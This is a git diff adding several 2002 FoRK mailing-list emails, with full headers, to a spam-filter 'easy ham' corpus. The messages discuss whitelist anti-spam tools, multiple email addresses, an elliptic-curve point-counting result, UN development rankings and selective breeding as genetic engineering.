SMTP id 970E9294140 for + ; Wed, 24 Jul 2002 10:21:08 -0700 (PDT) +Received: (qmail 25301 invoked by uid 508); 24 Jul 2002 17:30:21 -0000 +Received: from unknown (HELO hydrogen.leitl.org) (217.80.40.71) by + venus.phpwebhosting.com with SMTP; 24 Jul 2002 17:30:21 -0000 +Received: from localhost (eugen@localhost) by hydrogen.leitl.org + (8.11.6/8.11.6) with ESMTP id g6OHUGf31376; Wed, 24 Jul 2002 19:30:16 + +0200 +X-Authentication-Warning: hydrogen.leitl.org: eugen owned process doing -bs +From: Eugen Leitl +To: Mike Masnick +Cc: forkit! +Subject: Re: Mossberg on 'ChoiceMail': "In my tests, it cut my spam to zero." +In-Reply-To: <3.0.32.20020724100925.03a66df0@techdirt.com> +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Wed, 24 Jul 2002 19:30:16 +0200 (CEST) + +On Wed, 24 Jul 2002, Mike Masnick wrote: + +> Adds to the level of annoyance, and makes it even less likely that I'll +> ever use it. + +Which annoyance? A string like f70539bb32961f3d7dba42a9c51442c1218a9100 +somewhere in the message inserted by the system automatically doesn't +change anything. Besides, there are simpler solutions: + + http://tmda.net/faq.cgi?req=all#4.10 + +> They don't have to. All they have to do is use some program (which, if +> they don't exist already, will certainly be around someday soon) that makes +> every spam they send show the recipient as the "from" address as well. + +See above. + +> The adding manually thing doesn't seem like much fun. And, anytime I speak + +So is installing the software. But you do it once. + +> to someone new, it just makes it more unlikely that they will be willing to +> contact me. Having played around with whitelists in the past, you'd be + + http://tmda.net/faq.cgi?req=all#1.5 + +> amazed at how confused many people get by them as well. They tend to +> ignore the "please apply" messages. +> +> As an aside, am I the only person around who simply does not use the +> addressbook feature in email programs? I never have, and I don't see any + +I usually don't use it. Just to lookup addresses/names of people I forget, +once in a while. + +> reason to. It (along with not opening attachments) has helped me not to +> send out viruses to people. I generally use my own brain or my inbox as an + +Viruses? Other people's problem. Last virus I had was in 1988, or so. + +> addressbook, and search out the last email I received from someone and hit +> reply... +> +> >> email. I could see certain friends of mine getting fairly annoyed +> >> (especially those with multiple email addresses...). +> > +> >What's the point of multiple email addresses? They're a pain. +> +> Well, yes. *I* use one email address, but that doesn't mean all my friends +> do. You would need to convince everyone I know of that. Most people I + +Maybe your friends should get used to tagged message delivery, then. + +> know, at the very least, have a home and work email address. But plenty +> others have other addresses for various reasons. Keeping track of all of +> them for a whitelist seems like a pain. It forces them to remember which +> email addresses are already approved and avoid using others. + +You have strange friends. + +> Plus, I know plenty of people who change jobs, and suddenly get a new email +> address from their new job. Wouldn't it suck if, in sending out your new + +Why should changing my job change my private address? I don't use +corporate mail for private purposes. + +> job info, you had to fill out a new application for each friend just to +> tell them about your new job email address? + +I don't think this is a significant problem in practice. + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00855.25cdd1d4b3805757439866eb261643f6 b/bayes/spamham/easy_ham_2/00855.25cdd1d4b3805757439866eb261643f6 new file mode 100644 index 0000000..810523e --- /dev/null +++ b/bayes/spamham/easy_ham_2/00855.25cdd1d4b3805757439866eb261643f6 @@ -0,0 +1,100 @@ +From fork-admin@xent.com Thu Jul 25 11:08:13 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id A0FC6440DA + for ; Thu, 25 Jul 2002 06:07:21 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 25 Jul 2002 11:07:21 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6OHbw430145 for ; + Wed, 24 Jul 2002 18:37:58 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id C32C9294149; Wed, 24 Jul 2002 10:27:05 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from magnesium.net (toxic.magnesium.net [207.154.84.15]) by + xent.com (Postfix) with SMTP id BF10C294146 for ; + Wed, 24 Jul 2002 10:26:30 -0700 (PDT) +Received: (qmail 8360 invoked by uid 65534); 24 Jul 2002 17:35:44 -0000 +Received: from ppp-192-216-194-129.tstonramp.com ([192.216.194.129]) + (SquirrelMail authenticated user bitbitch) by webmail.magnesium.net with + HTTP; Wed, 24 Jul 2002 10:35:44 -0700 (PDT) +Message-Id: <2518.192.216.194.129.1027532144.squirrel@webmail.magnesium.net> +Subject: Re: Mossberg on 'ChoiceMail': 'In my tests, it cut my spam to zero.' +From: +To: +In-Reply-To: +References: <3.0.32.20020723231125.03bc2cf0@techdirt.com> + +X-Priority: 3 +Importance: Normal +X-Msmail-Priority: Normal +Cc: +X-Mailer: SquirrelMail (version 1.2.6) +MIME-Version: 1.0 +Content-Type: text/plain; charset=iso-8859-1 +Content-Transfer-Encoding: 8bit +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Wed, 24 Jul 2002 10:35:44 -0700 (PDT) + + email. I could see certain friends of mine getting fairly annoyed +>> (especially those with multiple email addresses...). +> +> What's the point of multiple email addresses? They're a pain. +> + + +Ah the great spam debate wages on ... + +So where's Kragen in this whole mess ;-) + +Eugen, the reason for multiple email addresses (at least _my_ reason) is +that I like to separate my friends from say, FoRK, from say, my school +accounts, from say my spam box. I tend to get a veritable buttload of +mail from various sources, and sometimes I don't have a chance to go +through it all. I have it mostly setup on a filter basis (those friends +that go to the carey@ address do get filtered _generally_ speaking into +the friends box, those fork posts, _generally_ go into the FoRK pile. ) +Its still nice to know that if I need to get someone's response and I +haven't gotten around to putting them into the friends section of my +carey@ address, that I can give them another address (bitbitch, which gets +considerably less traffic) and I can be assured of flagging it down. +When I setup my PC to run BSD and then I can get sendmail or procmail or +whatnot to be a better mail program and I can spend the time making even +_better_ filters than The Bat! provides for me now, I'll probably change +my mind on the multiple email address thing. I still like knowing that I +can send the assholes (or undesirable guys I don't feel like dating ;) to +my @hotmail account. + +I'm also going to also rescind my prior request not to have a member-only +fork. As snobby and elitist as a member-only FoRK would be, I'm starting +to feel the pain of the whole spam to bits ratio on fork. I'd be +willing, multiple email addresses and all, to sign up for a whitelist +provided the system could handle email sent from say cnn.com that was +referenced to my address (say the On Behalf of) emails that a few of us +tend to send. Does such a system exist? I'm rather ignorant on the +whole whitelist concept, and I know a few of you are far far more +knowledgable. + +My half a cent here... + +: I will be so damn glad when I am done with this whole moving +thing... back on fork when I'm in NH.. :) +Woo hoo! Law school!) + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00856.9ab953cc26ee85b5e634a80dc93c9baa b/bayes/spamham/easy_ham_2/00856.9ab953cc26ee85b5e634a80dc93c9baa new file mode 100644 index 0000000..169ce84 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00856.9ab953cc26ee85b5e634a80dc93c9baa @@ -0,0 +1,66 @@ +From fork-admin@xent.com Thu Jul 25 11:08:15 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 0C1D9440DB + for ; Thu, 25 Jul 2002 06:07:23 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 25 Jul 2002 11:07:23 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6OI4V431604 for ; + Wed, 24 Jul 2002 19:04:32 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id F0263294145; Wed, 24 Jul 2002 11:03:05 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from dream.darwin.nasa.gov (betlik.darwin.nasa.gov + [198.123.160.11]) by xent.com (Postfix) with ESMTP id A2E26294143 for + ; Wed, 24 Jul 2002 11:02:45 -0700 (PDT) +Received: from cse.ucsc.edu (paperweight.darwin.nasa.gov [198.123.160.27]) + by dream.darwin.nasa.gov ( -- Info omitted by ASANI Solutions, + LLC.) with ESMTP id g6OI2Ug06451 for ; Wed, 24 Jul 2002 + 11:02:31 -0700 (PDT) +Message-Id: <3D3EEB89.5060201@cse.ucsc.edu> +From: Elias Sinderson +Reply-To: fork@spamassassin.taint.org +User-Agent: Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.0.0) Gecko/20020611 +X-Accept-Language: en-us, en +MIME-Version: 1.0 +To: fork@spamassassin.taint.org +Subject: Re: Mossberg on 'ChoiceMail': 'In my tests, it cut my spam to zero.' +References: <3.0.32.20020723231125.03bc2cf0@techdirt.com> + + <2518.192.216.194.129.1027532144.squirrel@webmail.magnesium.net> +Content-Type: text/plain; charset=us-ascii; format=flowed +Content-Transfer-Encoding: 7bit +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Wed, 24 Jul 2002 11:01:45 -0700 + +bitbitch@magnesium.net wrote: + +>I'm also going to also rescind my prior request not to have a member-only +>fork. As snobby and elitist as a member-only FoRK would be, I'm starting +>to feel the pain of the whole spam to bits ratio on fork. +> +Here, here... The member-only lists that I'm on have a spam count of +near zero. An additional benefit is that the list archives aren't full +of spam either. + + +E + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00857.f312939fbacf18adba52a47cde6f0351 b/bayes/spamham/easy_ham_2/00857.f312939fbacf18adba52a47cde6f0351 new file mode 100644 index 0000000..e1f7c2d --- /dev/null +++ b/bayes/spamham/easy_ham_2/00857.f312939fbacf18adba52a47cde6f0351 @@ -0,0 +1,89 @@ +From fork-admin@xent.com Thu Jul 25 11:08:19 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id BB3DF440DC + for ; Thu, 25 Jul 2002 06:07:28 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 25 Jul 2002 11:07:28 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6OIJY432288 for ; + Wed, 24 Jul 2002 19:19:35 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 6FD1C29414C; Wed, 24 Jul 2002 11:18:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from argote.ch (argote.ch [80.65.224.17]) by xent.com (Postfix) + with ESMTP id 9FEA3294145 for ; Wed, 24 Jul 2002 11:18:00 + -0700 (PDT) +Received: by argote.ch (Postfix, from userid 500) id 9D799C44E; + Wed, 24 Jul 2002 20:06:13 +0200 (CEST) +To: fork@spamassassin.taint.org +Subject: Re: My brain hurts +Message-Id: <20020724180613.9D799C44E@argote.ch> +From: harley@argote.ch (Robert Harley) +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Wed, 24 Jul 2002 20:06:13 +0200 (CEST) + +More than a dozen jokes - thanks guys and girls! +(plus some anti-French abuse from the usual suspect). + +Well my brain doesn't hurt so much any more, and it was well worth it. +I've now got an even faster method for elliptic-curve point counting, +both pratically and asymptotically. + +It lifts a curve over a field of degree n in time O(n^(2+1/2+eps)), +or O(n^(2+eps)) with precomputation. Before the best methods took +O(n^(3+eps)) without precomputation, or O(n^(2+1/2+eps)) with it. +The precomputation is done once per field, not per curve, and takes +time O(n^(3+eps)). Here eps is an arbitrarily small number, hiding +some logarithmic factors. + +After lifting, you compute a norm in time O(n^(2+1/3+eps)) to get the +number of points on the curve. + +Here's an example over a 1009-bit field, without precomputation, using +a 1 GHz Pentium III: + +------------------------------------------------------------------------------ +> ./ecpc4 -d 1009 -j 0x123 +INFO: -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- +INFO: -=-=-=-=-= ECPC: Elliptic Curve Point Counting, made easy! =-=-=-=-=- +INFO: -=-=-=-=-= v4.0.0. (c) ArgoTech 2001. All rights reserved. =-=-=-=-=- +INFO: -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- +[...] +INFO: Picked field polynomial 1+x^55+x^1009. +INFO: Starting ECPC on j = 0x123... +INFO: Done after 138.33 seconds. +INFO: Checking... OK OK OK OK OK OK OK OK OK OK +[...] +CURVE: 5486124068793688683255936251187209270074392635932332070112001988456197381759672947165175699536362793613284725337872111744958183862744647903224103718245568925556758419805069056847065147709058947190200192542277555125346128173135573355537502225974504428432790108988791795746287271944131683364548299056172016 +[...] +INFO: 1 curve processed. +INFO: Bye! +------------------------------------------------------------------------------ + + +L8r, + Rob. + .-. Robert.Harley@argote.ch .-. + / \ .-. Software Development .-. / \ + / \ / \ .-. _ .-. / \ / \ + / \ / \ / \ / \ / \ / \ / \ + / \ / \ / `-' `-' \ / \ / \ + \ / `-' ArgoTech `-' \ / + `-' http://argote.ch/ `-' +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00858.e8e0fa3478d7d66a23b1ead07beecc18 b/bayes/spamham/easy_ham_2/00858.e8e0fa3478d7d66a23b1ead07beecc18 new file mode 100644 index 0000000..762016a --- /dev/null +++ b/bayes/spamham/easy_ham_2/00858.e8e0fa3478d7d66a23b1ead07beecc18 @@ -0,0 +1,67 @@ +From fork-admin@xent.com Thu Jul 25 11:08:20 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id CB7DB440D3 + for ; Thu, 25 Jul 2002 06:07:35 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 25 Jul 2002 11:07:35 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6OITY400409 for ; + Wed, 24 Jul 2002 19:29:35 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 3FB6929414E; Wed, 24 Jul 2002 11:28:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from crank.slack.net (slack.net [166.84.151.181]) by xent.com + (Postfix) with ESMTP id 5BC1329414C for ; Wed, + 24 Jul 2002 11:27:09 -0700 (PDT) +Received: by crank.slack.net (Postfix, from userid 596) id 7AFAB3ED52; + Wed, 24 Jul 2002 14:27:11 -0400 (EDT) +Received: from localhost (localhost [127.0.0.1]) by crank.slack.net + (Postfix) with ESMTP id 73E843EC45 for ; Wed, + 24 Jul 2002 14:27:11 -0400 (EDT) +From: Tom +To: fork@spamassassin.taint.org +Subject: USA USA WE ARE NUMBER ....six. +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Wed, 24 Jul 2002 14:27:11 -0400 (EDT) + + +http://news.bbc.co.uk/2/hi/americas/2147882.stm#table + + + +"Around the world, there is a growing sense that democracy has not +delivered development" Sakiko Fukuda-Parr UN report author + +HDI rank 2002 LifeEXp InfantMort/1000 GDP$percapita AdultLit% +1 Norway 78.5 4 29,918 99%* +2 Sweden 79.7 3 24,277 99%* +3 Canada 78.8 6 27,840 99%* +4 Belgium 78.4 6 27,178 99%* +5 Australia 78.9 6 25,693 99%* +6 United States 77 7 34,142 99%* +7 Iceland 79.2 4 29,581 99%* +8 Netherlands 78.1 5 25,657 99%* +9 Japan 81 4 26,755 99%* +10 Finland 77.6 4 24,996 99%* + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00859.a2805ce0a8b229f9ba52ea18703abeef b/bayes/spamham/easy_ham_2/00859.a2805ce0a8b229f9ba52ea18703abeef new file mode 100644 index 0000000..18d02bb --- /dev/null +++ b/bayes/spamham/easy_ham_2/00859.a2805ce0a8b229f9ba52ea18703abeef @@ -0,0 +1,58 @@ +From fork-admin@xent.com Thu Jul 25 11:08:29 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 49D5E440D7 + for ; Thu, 25 Jul 2002 06:07:49 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 25 Jul 2002 11:07:49 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6OIna401332 for ; + Wed, 24 Jul 2002 19:49:36 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id D0D45294156; Wed, 24 Jul 2002 11:48:05 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from cats.ucsc.edu (cats-mx2.ucsc.edu [128.114.129.35]) by + xent.com (Postfix) with ESMTP id 523D8294152 for ; + Wed, 24 Jul 2002 11:47:10 -0700 (PDT) +Received: from Tycho (dhcp-60-118.cse.ucsc.edu [128.114.60.118]) by + cats.ucsc.edu (8.10.1/8.10.1) with SMTP id g6OIku026813 for + ; Wed, 24 Jul 2002 11:46:57 -0700 (PDT) +From: "Jim Whitehead" +To: +Subject: RE: USA USA WE ARE NUMBER ....six. +Message-Id: +MIME-Version: 1.0 +Content-Type: text/plain; charset="us-ascii" +Content-Transfer-Encoding: 7bit +X-Priority: 3 (Normal) +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) +Importance: Normal +In-Reply-To: +X-Mimeole: Produced By Microsoft MimeOLE V5.50.4133.2400 +X-Ucsc-Cats-Mailscanner: Found to be clean +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Wed, 24 Jul 2002 11:45:12 -0700 + +> "Around the world, there is a growing sense that democracy has not +> delivered development" Sakiko Fukuda-Parr UN report author + +As opposed to some other form of government which has? + +- Jim +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00860.1c589ac98a09bd68145855672377c36f b/bayes/spamham/easy_ham_2/00860.1c589ac98a09bd68145855672377c36f new file mode 100644 index 0000000..2ea4955 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00860.1c589ac98a09bd68145855672377c36f @@ -0,0 +1,81 @@ +From fork-admin@xent.com Thu Jul 25 11:08:27 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id B4225440D6 + for ; Thu, 25 Jul 2002 06:07:42 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 25 Jul 2002 11:07:42 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6OIYc400733 for ; + Wed, 24 Jul 2002 19:34:38 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 43217294154; Wed, 24 Jul 2002 11:33:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from localhost.localdomain + (dsl-208-151-246-47.dsl.easystreet.com [208.151.246.47]) by xent.com + (Postfix) with ESMTP id 9346F294153 for ; Wed, + 24 Jul 2002 11:32:43 -0700 (PDT) +Received: (from karl@localhost) by localhost.localdomain (8.11.6/8.11.6) + id g6OIpnE10297; Wed, 24 Jul 2002 11:51:49 -0700 +X-Authentication-Warning: localhost.localdomain: karl set sender to + kra@monkey.org using -f +To: ThosStew@aol.com +Cc: fork@spamassassin.taint.org +Subject: Re: [Baseline] Raising chickens the high-tech way +References: <135.11be3f63.2a7000bc@aol.com> +From: Karl Anderson +Organization: Ape Mgt. +In-Reply-To: ThosStew@aol.com's message of "Wed, 24 Jul 2002 09:08:12 EDT" +Message-Id: +User-Agent: Gnus/5.0802 (Gnus v5.8.2) Emacs/20.7 +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: 24 Jul 2002 11:51:48 -0700 + +ThosStew@aol.com writes: + +> In a message dated 7/23/2002 6:02:27 PM, dl@silcom.com writes: +> +> >If we're willing to count artificial +> >selection as genetic engineering, +> +> Of course was genetic engineering. It used the fundamental mechanism of +> genetics (inheritance of traits), and not randomly, but +> intentionally--breeding for long fur, fat hams, whatever. The degree to which +> the engineers--farmers, breeders--understood exactly how the mehcanism works +> is only marginally relevant to the question of whether it was engineering. + +Naw, I still disagree, again because if I'm going to be so loose +with the definitions, then I'd have to say that I myself am a +genetically engineered organism. But I'm natural, baby. My parents +were attracted to each other's phenotypes, mixed some genes in the +hopes that those genotypes would get in there, and grew me around +them. Sure, they engineered the process when they selected each +other. But they didn't engineer the genetics. If genetic enginering +wasn't such an important topic today, it wouldn't be such an important +distinction. + +I guess that the reason that I disagree is that some groups arguing +against any checks on genetic engineering use that same argument - +"we've been doing it since prehistory, so we don't need to apply any +caution today". + +-- +Karl Anderson kra@monkey.org http://www.monkey.org/~kra/ +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00861.9315454120d627a1016f95d1c95874bc b/bayes/spamham/easy_ham_2/00861.9315454120d627a1016f95d1c95874bc new file mode 100644 index 0000000..b032ebc --- /dev/null +++ b/bayes/spamham/easy_ham_2/00861.9315454120d627a1016f95d1c95874bc @@ -0,0 +1,79 @@ +From fork-admin@xent.com Thu Jul 25 11:08:35 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id A0BB0440D8 + for ; Thu, 25 Jul 2002 06:07:55 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 25 Jul 2002 11:07:55 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6OIsc401600 for ; + Wed, 24 Jul 2002 19:54:38 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id F404C29414A; Wed, 24 Jul 2002 11:53:05 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from dream.darwin.nasa.gov (betlik.darwin.nasa.gov + [198.123.160.11]) by xent.com (Postfix) with ESMTP id 12A6C29414A for + ; Wed, 24 Jul 2002 11:52:23 -0700 (PDT) +Received: from cse.ucsc.edu (paperweight.darwin.nasa.gov [198.123.160.27]) + by dream.darwin.nasa.gov ( -- Info omitted by ASANI Solutions, + LLC.) with ESMTP id g6OIqMg06645 for ; Wed, 24 Jul 2002 + 11:52:22 -0700 (PDT) +Message-Id: <3D3EF738.3050704@cse.ucsc.edu> +From: Elias Sinderson +Reply-To: fork@spamassassin.taint.org +User-Agent: Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.0.0) Gecko/20020611 +X-Accept-Language: en-us, en +MIME-Version: 1.0 +To: fork@spamassassin.taint.org +Subject: Re: [Baseline] Raising chickens the high-tech way +References: <135.11be3f63.2a7000bc@aol.com> + +Content-Type: text/plain; charset=us-ascii; format=flowed +Content-Transfer-Encoding: 7bit +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Wed, 24 Jul 2002 11:51:36 -0700 + +Sorry, Karl, your confusing things. Thos is saying that selective +breeding should be counted as genetic engineering, whereas you are +extending his definition to include the attration that your parents felt... + +Unless your parents were selectively bred like livestock to produce you, +I don't think you can make that case... :-) + +Elias + + +Karl Anderson wrote: + +>ThosStew@aol.com writes: +> +>>Of course was genetic engineering. It used the fundamental mechanism of +>>genetics (inheritance of traits), and not randomly, but +>>intentionally--breeding for long fur, fat hams, whatever. The degree to which +>>the engineers--farmers, breeders--understood exactly how the mehcanism works +>>is only marginally relevant to the question of whether it was engineering. +>> +>> +> +>Naw, I still disagree, again because if I'm going to be so loose +>with the definitions, then I'd have to say that I myself am a +>genetically engineered organism. +> + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00862.66cc15585cfafe2b9a28e70b905d85e7 b/bayes/spamham/easy_ham_2/00862.66cc15585cfafe2b9a28e70b905d85e7 new file mode 100644 index 0000000..819115e --- /dev/null +++ b/bayes/spamham/easy_ham_2/00862.66cc15585cfafe2b9a28e70b905d85e7 @@ -0,0 +1,59 @@ +From fork-admin@xent.com Thu Jul 25 11:08:36 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id F184A440D0 + for ; Thu, 25 Jul 2002 06:08:02 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 25 Jul 2002 11:08:02 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6OJ16401785 for ; + Wed, 24 Jul 2002 20:01:06 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 6835929415B; Wed, 24 Jul 2002 11:55:07 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from 10-0-0-223.boston.ximian.com (gateway.ximian.com + [141.154.95.125]) by xent.com (Postfix) with ESMTP id F1D68294158 for + ; Wed, 24 Jul 2002 11:54:57 -0700 (PDT) +Received: (from louie@localhost) by 10-0-0-223.boston.ximian.com + (8.11.6/8.11.6) id g6OIs4N04925; Wed, 24 Jul 2002 14:54:04 -0400 +X-Authentication-Warning: 10-0-0-223.boston.ximian.com: louie set sender + to louie@ximian.com using -f +Subject: RE: USA USA WE ARE NUMBER ....six. +From: Luis Villa +To: fork@spamassassin.taint.org +In-Reply-To: +References: +Content-Type: text/plain +Content-Transfer-Encoding: 7bit +X-Mailer: Ximian Evolution 1.0.8.99 +Message-Id: <1027536843.3463.79.camel@10-0-0-223.boston.ximian.com> +MIME-Version: 1.0 +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: 24 Jul 2002 14:54:03 -0400 + +On Wed, 2002-07-24 at 14:45, Jim Whitehead wrote: +> > "Around the world, there is a growing sense that democracy has not +> > delivered development" Sakiko Fukuda-Parr UN report author +> +> As opposed to some other form of government which has? + +The report, apparently, makes that point as well. Tom seems to have +taken things a slight bit out of context. :) + +Luis (busily planning his trip to #172) +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00863.d9ae47fc90d47d17f9765634e5950c37 b/bayes/spamham/easy_ham_2/00863.d9ae47fc90d47d17f9765634e5950c37 new file mode 100644 index 0000000..6345093 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00863.d9ae47fc90d47d17f9765634e5950c37 @@ -0,0 +1,78 @@ +From fork-admin@xent.com Thu Jul 25 11:08:43 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id ABBEC440D2 + for ; Thu, 25 Jul 2002 06:08:15 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 25 Jul 2002 11:08:15 +0100 (IST) 